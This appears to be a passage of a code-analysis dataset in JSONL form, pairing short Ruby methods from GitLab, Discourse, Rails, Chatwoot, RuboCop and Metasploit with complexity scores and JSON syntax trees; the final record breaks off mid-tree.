{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/uploads_controller.rb","start_line":109,"raw_source":"def secret?\n    params[:secret].present?\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"secret?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"secret\"]}]},\"present?\"]}]}","id":"5f8be299-9475-4502-b943-6e191a3c01b4"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/controllers/admin/watched_words_controller.rb","start_line":86,"raw_source":"def download\n    params.require(:id)\n    name = watched_words_params[:id].to_sym\n    action = WatchedWord.actions[name]\n    raise Discourse::NotFound if !action\n\n    content = WatchedWord.where(action: action)\n    if WatchedWord.has_replacement?(name)\n      content = content.pluck(:word, :replacement).map(&:to_csv).join\n    else\n      content = content.pluck(:word).join(\"\\n\")\n    end\n\n    headers[\"Content-Length\"] = content.bytesize.to_s\n    send_data content,\n              filename: \"#{Discourse.current_hostname}-watched-words-#{name}.csv\",\n              content_type: \"text/csv\"\n  end","complexity_score":33.5,"ast_json":"{\"type\":\"def\",\"children\":[\"download\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"require\",{\"type\":\"sym\",\"children\":[\"id\"]}]},{\"type\":\"lvasgn\",\"children\":[\"name\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"watched_words_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]},\"to_sym\"]}]},{\"type\":\"lvasgn\",\"children\":[\"action\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WatchedWord\"]},\"actions\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"name\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"action\"]},\"!\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"NotFound\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"content\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WatchedWord\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"lvar\",\"children\":[\"action\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WatchedWord\"]},\"has_replacement?\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"lvasgn\",\"children\":[\"content\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"content\"]},\"pluck\",{\"type\":\"sym\",\"children\":[\"word\"]},{\"type\":\"sym\",\"children\":[\"replacement\"]}]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"to_csv\"]}]}]},\"join\"]}]},{\"type\":\"lvasgn\",\"children\":[\"content\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"content\"]},\"pluck\",{\"type\":\"sym\",\"children\":[\"word\"]}]},\"join\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"headers\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"Content-Length\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"content\"]},\"bytesize\"]},\"to_s\"]}]},{\"type\":\"send\",\"children\":[null,\"send_data\",{\"type\":\"lvar\",\"children\":[\"content\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"filename\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"current_hostname\"]}]},{\"type\":\"str\",\"children\":[\"-watched-words-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"str\",\"children\":[\".csv\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"content_type\"]},{\"type\":\"str\",\"children\":[\"text/csv\"]}]}]}]}]}]}","id":"dabec1ba-7b66-467c-ad6c-b59953667c0d"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/turbo_tests/runner.rb","start_line":5,"raw_source":"def self.run(opts = {})\n      files = opts[:files]\n      formatters = opts[:formatters]\n      seed = opts[:seed]\n      start_time = opts.fetch(:start_time) { Time.now }\n      verbose = opts.fetch(:verbose, false)\n      fail_fast = opts.fetch(:fail_fast, nil)\n      use_runtime_info = opts.fetch(:use_runtime_info, false)\n      retry_and_log_flaky_tests = opts.fetch(:retry_and_log_flaky_tests, false)\n\n      STDOUT.puts \"VERBOSE\" if verbose\n\n      reporter =\n        Reporter.from_config(\n          formatters,\n          start_time,\n          max_timings_count: opts[:profile_print_slowest_examples_count],\n        )\n\n      if ENV[\"GITHUB_ACTIONS\"]\n        RSpec.configure do |config|\n          # Enable color output in GitHub Actions\n          # This eventually will be `config.color_mode = :on` in RSpec 4?\n          config.tty = true\n          config.color = true\n        end\n      end\n\n      new(\n        reporter: reporter,\n        files: files,\n        verbose: verbose,\n        fail_fast: fail_fast,\n        use_runtime_info: use_runtime_info,\n        seed: seed,\n        profile: opts[:profile],\n        retry_and_log_flaky_tests: retry_and_log_flaky_tests,\n      ).run\n    end","complexity_score":34.8,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"run\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"files\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"files\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"formatters\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"formatters\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"seed\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"seed\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"start_time\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"fetch\",{\"type\":\"sym\",\"children\":[\"start_time\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"verbose\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"fetch\",{\"type\":\"sym\",\"children\":[\"verbose\"]},{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"fail_fast\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"fetch\",{\"type\":\"sym\",\"children\":[\"fail_fast\"]},{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"use_runtime_info\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"fetch\",{\"type\":\"sym\",\"children\":[\"use_runtime_info\"]},{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"retry_and_log_flaky_tests\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"fetch\",{\"type\":\"sym\",\"children\":[\"retry_and_log_flaky_tests\"]},{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"verbose\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"STDOUT\"]},\"puts\",{\"type\":\"str\",\"children\":[\"VERBOSE\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"reporter\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Reporter\"]},\"from_config\",{\"type\":\"lvar\",\"children\":[\"formatters\"]},{\"type\":\"lvar\",\"children\":[\"start_time\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"max_timings_count\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"profile_print_slowest_examples_count\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"GITHUB_ACTIONS\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RSpec\"]},\"configure\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"config\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"tty=\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"config\"]},\"color=\",{\"type\":\"true\",\"children\":[]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"reporter\"]},{\"type\":\"lvar\",\"children\":[\"reporter\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"files\"]},{\"type\":\"lvar\",\"children\":[\"files\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"verbose\"]},{\"type\":\"lvar\",\"children\":[\"verbose\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"fail_fast\"]},{\"type\":\"lvar\",\"children\":[\"fail_fast\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"use_runtime_info\"]},{\"type\":\"lvar\",\"children\":[\"use_runtime_info\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"seed\"]},{\"type\":\"lvar\",\"children\":[\"seed\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"profile\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"profile\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"retry_and_log_flaky_tests\"]},{\"type\":\"lvar\",\"children\":[\"retry_and_log_flaky_tests\"]}]}]}]},\"run\"]}]}]}","id":"1dcd6f9f-b7e1-4677-ac18-f39ce28f70a4"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/instrumentation/zoekt.rb","start_line":29,"raw_source":"def query_time\n          query_time = zoekt_call_duration + (::Gitlab::SafeRequestStore[ZOEKT_GRAPHQL_DURATION] || 0)\n          query_time.round(::Gitlab::InstrumentationHelper::DURATION_PRECISION)\n        end","complexity_score":6.7,"ast_json":"{\"type\":\"def\",\"children\":[\"query_time\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"query_time\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"zoekt_call_duration\"]},\"+\",{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"SafeRequestStore\"]},\"[]\",{\"type\":\"const\",\"children\":[null,\"ZOEKT_GRAPHQL_DURATION\"]}]},{\"type\":\"int\",\"children\":[0]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"query_time\"]},\"round\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"InstrumentationHelper\"]},\"DURATION_PRECISION\"]}]}]}]}","id":"e005f884-1a05-4823-b896-fa6690583ca4"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/resource/base.rb","start_line":261,"raw_source":"def inspect\n        JSON.pretty_generate(comparable)\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"inspect\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"JSON\"]},\"pretty_generate\",{\"type\":\"send\",\"children\":[null,\"comparable\"]}]}]}","id":"ea34cb74-541c-44a3-abd4-a70dc30b376c"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/controllers/public/api/v1/inboxes/messages_controller.rb","start_line":36,"raw_source":"def message_finder_params\n    {\n      filter_internal_messages: true,\n      before: params[:before]\n    }\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"message_finder_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"filter_internal_messages\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"before\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"before\"]}]}]}]}]}","id":"f86aeed7-24b3-4a36-9b3f-791d1bfcbfbc"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/util/dot_net_deserialization/types/primitives.rb","start_line":49,"raw_source":"def kind_initial_value\n      value = KindEnum.fetch(get_parameter(:kind_name), nil)\n      raise ::ArgumentError, 'Parameter kind_name must be either :unspecified, :utc, or :local' if value.nil?\n      value\n    end","complexity_score":6.3,"ast_json":"{\"type\":\"def\",\"children\":[\"kind_initial_value\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"value\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"KindEnum\"]},\"fetch\",{\"type\":\"send\",\"children\":[null,\"get_parameter\",{\"type\":\"sym\",\"children\":[\"kind_name\"]}]},{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"ArgumentError\"]},{\"type\":\"str\",\"children\":[\"Parameter kind_name must be either :unspecified, :utc, or :local\"]}]},null]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}","id":"2225eb92-dd48-41ef-94d4-1003ecc4e49a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/bulk_imports/common/pipelines/lfs_objects_pipeline.rb","start_line":94,"raw_source":"def tar_filepath?(file_path)\n          File.join(tmpdir, tar_filename) == file_path\n        end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"tar_filepath?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file_path\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"send\",\"children\":[null,\"tmpdir\"]},{\"type\":\"send\",\"children\":[null,\"tar_filename\"]}]},\"==\",{\"type\":\"lvar\",\"children\":[\"file_path\"]}]}]}","id":"4a6eed22-3e0b-44b1-8d45-db1c14f3354f"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/wiki_page/meta.rb","start_line":76,"raw_source":"def find_by_canonical_slug(canonical_slug, container)\n        return unless canonical_slug.present? && container.present?\n\n        meta, conflict = with_canonical_slug(canonical_slug)\n          .where(container_attrs(container))\n          .limit(2)\n\n        if conflict.present?\n          # Ensure the conflict record will be the orphaned record when doing a page update\n          if canonical_slug.size > 1\n            old_slug, _new_slug = canonical_slug\n\n            meta, conflict = conflict, meta if conflict.canonical_slug == old_slug\n          end\n\n          transaction(requires_new: false) do\n            conflict.todos.each_batch do |batch|\n              batch.update_all(target_id: meta.id)\n            end\n\n            conflict.destroy\n          end\n        end\n\n        meta\n      end","complexity_score":43.15,"ast_json":"{\"type\":\"def\",\"children\":[\"find_by_canonical_slug\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"canonical_slug\"]},{\"type\":\"arg\",\"children\":[\"container\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"canonical_slug\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"container\"]},\"present?\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"meta\"]},{\"type\":\"lvasgn\",\"children\":[\"conflict\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_canonical_slug\",{\"type\":\"lvar\",\"children\":[\"canonical_slug\"]}]},\"where\",{\"type\":\"send\",\"children\":[null,\"container_attrs\",{\"type\":\"lvar\",\"children\":[\"container\"]}]}]},\"limit\",{\"type\":\"int\",\"children\":[2]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conflict\"]},\"present?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"canonical_slug\"]},\"size\"]},\">\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"old_slug\"]},{\"type\":\"lvasgn\",\"children\":[\"_new_slug\"]}]},{\"type\":\"lvar\",\"children\":[\"canonical_slug\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conflict\"]},\"canonical_slug\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"old_slug\"]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"meta\"]},{\"type\":\"lvasgn\",\"children\":[\"conflict\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conflict\"]},{\"type\":\"lvar\",\"children\":[\"meta\"]}]}]},null]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"transaction\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"requires_new\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conflict\"]},\"todos\"]},\"each_batch\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"batch\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"batch\"]},\"update_all\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"meta\"]},\"id\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"conflict\"]},\"destroy\"]}]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"meta\"]}]}]}","id":"7a0b360d-1236-4fc2-a1fb-82fd27504997"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/topic_timer.rb","start_line":88,"raw_source":"def schedule_auto_publish_to_category_job\n    Jobs.enqueue(TopicTimer.type_job_map[:publish_to_category], topic_timer_id: id)\n  end","complexity_score":4.8,"ast_json":"{\"type\":\"def\",\"children\":[\"schedule_auto_publish_to_category_job\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Jobs\"]},\"enqueue\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TopicTimer\"]},\"type_job_map\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"publish_to_category\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"topic_timer_id\"]},{\"type\":\"send\",\"children\":[null,\"id\"]}]}]}]}]}","id":"c65e39cc-9ace-4ba7-8605-54abf9434f66"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/banzai/filter/commit_trailers_filter.rb","start_line":121,"raw_source":"def link_wrapper(data: {})\n        data_attributes = data_attributes_from_hash(data)\n\n        doc.document.create_element(\n          'span',\n          data_attributes\n        )\n      end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"link_wrapper\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"data\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"data_attributes\",{\"type\":\"send\",\"children\":[null,\"data_attributes_from_hash\",{\"type\":\"lvar\",\"children\":[\"data\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"doc\"]},\"document\"]},\"create_element\",{\"type\":\"str\",\"children\":[\"span\"]},{\"type\":\"lvar\",\"children\":[\"data_attributes\"]}]}]}]}","id":"74e1800a-408f-44e8-a0b5-3daa53503f76"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/relation/where_chain_test.rb","start_line":279,"raw_source":"def test_rewhere_with_nested_condition\n      relation = Post.where.missing(:comments).rewhere(\"comments.id\": comments(:does_it_hurt))\n      expected = Post.left_joins(:comments).where(\"comments.id\": comments(:does_it_hurt))\n\n      assert_equal expected.to_a, relation.to_a\n    end","complexity_score":13.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_rewhere_with_nested_condition\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"relation\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"where\"]},\"missing\",{\"type\":\"sym\",\"children\":[\"comments\"]}]},\"rewhere\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"comments.id\"]},{\"type\":\"send\",\"children\":[null,\"comments\",{\"type\":\"sym\",\"children\":[\"does_it_hurt\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"expected\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"left_joins\",{\"type\":\"sym\",\"children\":[\"comments\"]}]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"comments.id\"]},{\"type\":\"send\",\"children\":[null,\"comments\",{\"type\":\"sym\",\"children\":[\"does_it_hurt\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"expected\"]},\"to_a\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"relation\"]},\"to_a\"]}]}]}]}","id":"ec7b79b6-378f-442e-a693-da691a7ccd9d"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/post/meterpreter/extensions/stdapi/sys/registry.rb","start_line":296,"raw_source":"def Registry.query_class(hkey)\n    request = Packet.create_request(COMMAND_ID_STDAPI_REGISTRY_QUERY_CLASS)\n\n    request.add_tlv(TLV_TYPE_HKEY, hkey)\n\n    response = client.send_request(request)\n    cls = response.get_tlv(TLV_TYPE_VALUE_DATA)\n    return nil if not cls\n    data = cls.value.gsub(/\\x00.*/n, '')\n    return data\n  end","complexity_score":13.4,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Registry\"]},\"query_class\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"hkey\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"request\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Packet\"]},\"create_request\",{\"type\":\"const\",\"children\":[null,\"COMMAND_ID_STDAPI_REGISTRY_QUERY_CLASS\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"request\"]},\"add_tlv\",{\"type\":\"const\",\"children\":[null,\"TLV_TYPE_HKEY\"]},{\"type\":\"lvar\",\"children\":[\"hkey\"]}]},{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"send_request\",{\"type\":\"lvar\",\"children\":[\"request\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"cls\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"get_tlv\",{\"type\":\"const\",\"children\":[null,\"TLV_TYPE_VALUE_DATA\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cls\"]},\"!\"]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cls\"]},\"value\"]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\x00.*\"]},{\"type\":\"regopt\",\"children\":[\"n\"]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]}]}]}]}","id":"384901b7-3f17-4211-a4a9-da2a8f06184d"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/layout/first_hash_element_indentation.rb","start_line":145,"raw_source":"def check(hash_node, left_parenthesis)\n          return if ignored_node?(hash_node)\n\n          left_brace = hash_node.loc.begin\n          first_pair = hash_node.pairs.first\n\n          if first_pair\n            return if same_line?(first_pair, left_brace)\n\n            if separator_style?(first_pair)\n              check_based_on_longest_key(hash_node, left_brace, left_parenthesis)\n            else\n              check_first(first_pair, left_brace, left_parenthesis, 0)\n            end\n          end\n\n          check_right_brace(hash_node.loc.end, first_pair, left_brace, left_parenthesis)\n        end","complexity_score":20.4,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"hash_node\"]},{\"type\":\"arg\",\"children\":[\"left_parenthesis\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ignored_node?\",{\"type\":\"lvar\",\"children\":[\"hash_node\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"left_brace\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash_node\"]},\"loc\"]},\"begin\"]}]},{\"type\":\"lvasgn\",\"children\":[\"first_pair\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash_node\"]},\"pairs\"]},\"first\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"first_pair\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"same_line?\",{\"type\":\"lvar\",\"children\":[\"first_pair\"]},{\"type\":\"lvar\",\"children\":[\"left_brace\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"separator_style?\",{\"type\":\"lvar\",\"children\":[\"first_pair\"]}]},{\"type\":\"send\",\"children\":[null,\"check_based_on_longest_key\",{\"type\":\"lvar\",\"children\":[\"hash_node\"]},{\"type\":\"lvar\",\"children\":[\"left_brace\"]},{\"type\":\"lvar\",\"children\":[\"left_parenthesis\"]}